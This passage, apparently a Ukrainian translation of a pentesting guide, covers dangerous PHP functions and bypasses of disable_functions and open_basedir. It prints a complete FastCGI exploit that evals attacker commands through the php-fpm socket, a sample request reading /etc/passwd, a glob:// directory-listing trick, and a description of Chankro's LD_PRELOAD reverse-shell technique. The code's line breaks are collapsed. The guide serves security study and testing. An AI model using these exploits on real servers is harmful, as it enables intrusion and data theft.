pcntl_exec - Виконує програму (за замовчуванням у сучасному і не дуже сучасному PHP вам потрібно завантажити модуль pcntl.so, щоб використовувати цю функцію)
пошта / mb_send_mail - Ця функція використовується для відправлення листів, але її також можна використовувати для впровадження довільних команд всередині параметра $options. Це тому, що функція php mail зазвичай викликає бінарний файл sendmail всередині системи і дозволяє вам додавати додаткові параметри. Однак ви не зможете побачити вивід виконаної команди, тому рекомендується створити сценарій оболонки, який записує вивід у файл, виконати його за допомогою пошти та вивести вивід:
dl - Ця функція може бути використана для динамічного завантаження PHP-розширення. Ця функція не завжди буде присутня, тому вам слід перевірити, чи вона доступна, перш ніж намагатися використовувати її. Прочитайте цю сторінку, щоб дізнатися, як використовувати цю функцію.
Виконання PHP-коду
Окрім eval, існують інші способи виконання PHP-коду: include/require можуть бути використані для віддаленого виконання коду у формі уразливостей Локального Включення Файлу та Віддаленого Включення Файлу.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Відключені функції - це параметр, який можна налаштувати в файлах .ini в PHP, який забороняє використання вказаних функцій. Open basedir - це параметр, який вказує PHP папку, до якої він може мати доступ.
Налаштування PHP зазвичай слід налаштовувати за шляхом /etc/php7/conf.d або подібним.
Обидва налаштування можна побачити в виводі phpinfo():
open_basedir Bypass
open_basedir налаштовує папки, до яких PHP може мати доступ, ви не зможете записувати/читати/виконувати будь-який файл за межами цих папок, а також ви навіть не зможете переглядати інші каталоги.
Однак, якщо ви якимось чином зможете виконати довільний PHP-код, ви можете спробувати наступний фрагмент коду, щоб обійти обмеження.
Listing dirs with glob:// bypass
У цьому першому прикладі використовується протокол glob:// з обхідним шляхом:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Примітка1: У шляху ви також можете використовувати /e??/* для переліку /etc/* та будь-якої іншої папки.
Примітка2: Здається, що частина коду дублюється, але це фактично необхідно!
Примітка3: Цей приклад корисний лише для переліку папок, а не для читання файлів
Повний обхід open_basedir з використанням FastCGI
Якщо ви хочете дізнатися більше про PHP-FPM та FastCGI, ви можете прочитати перший розділ цієї сторінки.
Якщо php-fpm налаштований, ви можете використовувати його для повного обходу open_basedir:
Зверніть увагу, що перш за все вам потрібно знайти, де знаходиться unix-сокет php-fpm. Зазвичай він знаходиться під /var/run, тому ви можете використати попередній код для переліку каталогу та знайти його.
Код з цього джерела.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Ця програма не може мультиплексувати [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Новий запит відхилений; занадто зайнято [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Значення ролі невідоме [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Перевірте ваш ввід\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Ці скрипти будуть спілкуватися з unix сокетом php-fpm (зазвичай розташованим у /var/run, якщо використовується fpm) для виконання довільного коду. Налаштування open_basedir буде перезаписано атрибутом PHP_VALUE, який відправляється.
Зверніть увагу, як використовується eval для виконання PHP-коду, який ви відправляєте у параметрі cmd.
Також зверніть увагу на закоментований рядок 324, ви можете розкоментувати його, і пейлоад автоматично підключиться до вказаного URL та виконає PHP-код, що міститься там.
Просто зверніться за адресою http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');, щоб отримати вміст файлу /etc/passwd.
Можливо, ви думаєте, що так само, як ми перезаписали конфігурацію open_basedir, ми можемо перезаписати disable_functions. Спробуйте, але це не працюватиме, очевидно, що disable_functions можна налаштувати лише в файлі конфігурації .ini php, і зміни, які ви виконуєте за допомогою PHP_VALUE, не будуть ефективними для цього конкретного параметра.
Обхід disable_functions
Якщо ви керуєте виконанням PHP-коду всередині машини, ви, ймовірно, захочете перейти на наступний рівень та виконати довільні системні команди. У цій ситуації зазвичай виявляється, що більшість або всі PHP функції, які дозволяють виконувати системні команди, були відключені в disable_functions.
Тож, подивимося, як ви можете обійти це обмеження (якщо ви можете)
Автоматичне виявлення обходу
Ви можете використовувати інструмент https://github.com/teambi0s/dfunc-bypasser, і він покаже вам, яку функцію (якщо таку є) ви можете використовувати для обходуdisable_functions.
Обхід за допомогою інших системних функцій
Просто поверніться на початок цієї сторінки та перевірте, чи яка-небудь з функцій виконання команд не відключена та доступна в середовищі. Якщо ви знайдете хоча б одну з них, ви зможете використовувати її для виконання довільних системних команд.
Обхід за допомогою LD_PRELOAD
Відомо, що деякі функції в PHP, такі як mail(), будуть виконувати бінарні файли всередині системи. Тому ви можете зловживати ними, використовуючи змінну середовища LD_PRELOAD, щоб зробити їх завантаженням довільної бібліотеки, яка може виконувати будь-що.
Функції, які можна використовувати для обходу disable_functions за допомогою LD_PRELOAD
mail
mb_send_mail: Ефективно, коли встановлено модуль php-mbstring.
imap_mail: Працює, якщо присутній модуль php-imap.
libvirt_connect: Вимагає модуль php-libvirt-php.
gnupg_init: Можна використовувати з встановленим модулем php-gnupg.
new imagick(): Цей клас можна зловживати для обходу обмежень. Детальні техніки експлуатації можна знайти в цьому детальному описі.
Ви можете знайти тут скрипт фазування, який використовувався для пошуку цих функцій.
Ось бібліотека, яку ви можете скомпілювати для зловживання змінною середовища LD_PRELOAD:
Для того щоб скористатися цією неправильною конфігурацією, ви можете використовувати Chankro. Це інструмент, який генерує PHP-експлоіт, який вам потрібно завантажити на вразливий сервер та виконати його (отримати доступ до нього через веб).
Chankro буде записувати всередину диска жертви бібліотеку та зворотний shell, який ви хочете виконати, і використовуватиме трюк з**LD_PRELOAD + функцію PHP mail()** для виконання зворотного shell.
Зверніть увагу, що для використання Chankro, mail та putenvне можуть з'являтися у списку disable_functions.
У наступному прикладі ви можете побачити, як створити експлоіт chankro для архітектури 64, який виконає whoami та збереже результат у /tmp/chankro_shell.out, chankro запише бібліотеку та навантаження у /tmp, а кінцевий експлоіт буде називатися bicho.php (це файл, який вам потрібно завантажити на сервер жертви):
Зверніть увагу, що за допомогою PHP ви можете читати та записувати файли, створювати каталоги та змінювати дозволи.
Ви навіть можете вивантажувати бази даних.
Можливо, використовуючи PHP для переліку коробки, ви зможете знайти спосіб підвищення привілеїв/виконання команд (наприклад, читання деякого приватного ключа ssh).
Ці функції приймають параметр рядка, який може бути використаний для виклику функції за вибором зловмисника. Залежно від функції зловмисник може або не може мати можливість передачі параметра. У цьому випадку може бути використана функція розкриття інформації, наприклад phpinfo().
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Розкриття інформації
Більшість цих викликів функцій не є січами. Але це може бути вразливістю, якщо будь-які дані, що повертаються, можна переглянути зловмисником. Якщо зловмисник може побачити phpinfo(), це безумовно вразливість.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Функції файлової системи
Згідно з RATS всі функції файлової системи в php є підступними. Деякі з них не здаються дуже корисними для атакування. Інші є кориснішими, ніж ви можете подумати. Наприклад, якщо allow_url_fopen=On, то URL може бути використаний як шлях до файлу, тому виклик copy($_GET['s'], $_GET['d']); може бути використаний для завантаження PHP скрипту будь-куди в системі. Також, якщо сайт вразливий до запиту, відправленого через GET, кожна з цих функцій файлової системи може бути використана для направлення атаки на інший хост через ваш сервер.
Запис в файлову систему (частково в поєднанні з читанням)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir